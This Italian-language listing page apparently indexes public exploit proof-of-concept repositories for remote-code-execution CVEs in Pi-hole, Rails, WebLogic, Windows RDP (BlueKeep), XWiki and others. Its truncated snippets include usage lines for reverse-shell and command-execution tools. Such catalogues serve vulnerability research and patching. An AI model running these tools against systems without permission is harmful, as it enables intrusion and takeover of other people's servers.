CVE-2024-34361-Pi-Hole-SSRF-to-RCE

CVE-2024-34361 Esecuzione remota di codice in Pi-hole da SSRF a RCE Descrizione Questo repository contiene uno sfruttamento per CVE-2024-34361, una vulnerabilità critica CVSS 8.6 scoperta in Pi-hole, un sinkhole DNS ampiamente utilizzato per bloccare annunci pubblicitari e domini di tracciamento ...

ruby-RCE-CVE-2019-5420-

Deserializzazione Ruby CVE-2019-5420 root@kitploit: https://github.com/PenTestical/CVE-2019-5420 Riferimenti: root@kitploit: 1 Processo di realizzazione del payload per la vulnerabilità di esecuzione comandi in Ruby on Rails https://hackerone.com/reports/473888 Poiché ActiveSupport::MessageVerifi...

CVE-2020-14882

CVE-2020-14882 CVE-2020–14882 - ricerca di Jang Codice di @s1kr10s Poc: Recensione Post / Video: root@kitploit: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf https://www.youtube.com/watch?v=JFVDOIL0YtA&feature=youtu.be...

Havoc-C2-SSRF-to-RCE

Havoc-C2-SSRF-to-RCE Questa è una versione modificata del PoC SSRF CVE-2024-41570 di @chebuya combinato con l'exploit auth RCE di @hyperreality. Questo exploit esegue codice in remoto su un target a causa di molteplici vulnerabilità in Havoc C2 Framework...

CVE-2024-34102

CVE-2024-34102 ★ Grazie a @th3gokul, Sanjaith3hacker, Chocapikk per il codice originale. ★ Descrizione CVE-2024-34102 : vulnerabilità XXE in Adobe Commerce descrizione: Le versioni di Adobe Commerce 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 e precedenti sono affette da una vulnerabilità di Improper...

CVE-2020-0796

CVE-2020-0796 Scanner = https://github.com/ButrintKomoni/cve-2020-0796 POC di overflow remoto = https://github.com/jiansiting/CVE-2020-0796 SMBGhostRCEPoC = https://github.com/chompie1337/SMBGhostRCEPoC...

PaloAltoRceDetectionAndExploit

PaloAlto Rce Detection And Exploit Rilevamento per la vulnerabilità CVE-2017-15944 Fino ad ora nessuno scanner di vulnerabilità rileva la vulnerabilità Rilevamento e sfruttamento...

CVE-2021-27513

CVE-2021-27513 ITSMBrokencontrol root@kitploit: Exploit Title: EyesOfNetwork 5.3 - File Upload Remote Code Execution Date: 10/01/2021 Exploit Author: Ariane.Blow Vendor Homepage: https://www.eyesofnetwork.com/en Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.3-x8664-bin.iso...

CVE-2020-10567

POC-CVE-2020-10567 POC RCE - RESPONSIVE filemanager v.9.14.0. non il ramo principale ⚠️ Progetto GitHub : https://github.com/trippo/ResponsiveFilemanager Requisiti: Non è richiesto nulla, questo exploit non è autenticato. L'applicazione Responsive Filemanager è uno strumento di gestione file basat...

CVE-2022-37042

CVE-2022-37042 Usage Visualizza informazioni sulla vulnerabilità. root@kitploit: go run main.go -s / / | / / / | \ / \ | \ | / / / // /| \ / / | | / / // // / / // // / / / / / / / // // / / / | |/ / /// // // / // /// / / / // / / / / |// ///// // /// // // @0xf4n9x WRN Use with caution. You...

CVE-2022-3552

CVE-2022-3552 Per sfruttare la vulnerabilità in BoxBilling, la versione dovrà essere: "BoxBilling=4.22.1.5" e avrai bisogno di credenziali amministrative valide. Se ti trovi nella situazione sopra descritta, ecco i passi da seguire per ottenere il succulento RCE: Crea un ambiente virtuale Python...

CVE-2025-24893

CVE-2025-24893 - Esecuzione Remota di Codice non Autenticata su XWiki Exploit PoC per la vulnerabilità di Esecuzione Remota di Codice non Autenticata su XWiki CVE-2025-24893. Questo PoC consente di eseguire comandi arbitrari tramite codice Groovy sulla macro SolrSearch. Dettagli root@kitploit:...

CVE-2019-0708

CVE-2019-0708 BlueKeep POC RCE pre-autenticazione su Windows7 Questo repository dimostra il bug di esecuzione di codice remoto in Windows Remote Desktop Services RDS. Qui sono presenti un codice POC e un rapporto tecnico sulla vulnerabilità BlueKeep, che abbiamo sviluppato in precedenza. NOTA: Il...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947EXP,CVE-2022-22947RCE Utilizzo Reverse shell python3 CVE-2022-22947.py URLdidestinazione IPdelreverseshell porta Esecuzione comandi python3 CVE-2022-22947.py URLdidestinazione comando...

CVE-2017-3506

Cos'è questo? Questo è un proof of concept per CVE-2017-3506 serializzazione XMLDecoder di Weblogic Come usarlo? controllo vulnerabilità root@kitploit: java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001 GetShell root@kitploit: java -jar WebLogic-XMLDecoder.jar -s...

Automation-for-Juniper-cve-2023-36845

Automazione per Juniper CVE:2023-36845 Panoramica è uno script bash progettato per verificare la vulnerabilità CVE-2023-36845. Questo script elabora un elenco di indirizzi IP, invia una richiesta a ciascuno e determina se il sistema è vulnerabile in base alla risposta. Utilizzo Per utilizzare lo...

CVE-2014-7205

Bassmaster NodeJS Plugin RCE PoC bassmaster-rce.py: Uno script Python per sfruttare CVE-2014-7205. nodeshell.py: Un modulo Python per generare una reverse shell per NodeJS !!Utilizzare solo contro server su cui si ha il permesso di testare Riepilogo CVE-2014-7205 è una vulnerabilità di Remote Cod...

rails-PoC-CVE-2016-2098

Una prova di concetto della vulnerabilità: CVE-2016-2098 Progetto universitario creato da @alejandro-marting dove possiamo verificare la vulnerabilità 2096 Utilizzando: rails 4.2.5.1 la view contiene un codice vulnerabile app/views/poc/render1.html.erb !...

CVE-2025-55182-POC

CVE-2025-55182-POC React2Shell POC Utilizzo: root@kitploit: sudo python3 hehe.py -t -c Esempio: root@kitploit: ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | |...

msf-module-CVE-2019-0708

CVE-2019-0708 Bluekeep Metasploit module per CVE-2019-0708 BlueKeep Tratto da https://github.com/rapid7/metasploit-framework/tree/5a0119b04309c8e61b44763ac08811cd3ecbbf8d/modules/exploits/windows/rdp e corretto Istruzioni per la copia dei file 1. Crea una cartella denominata 'rdp' in...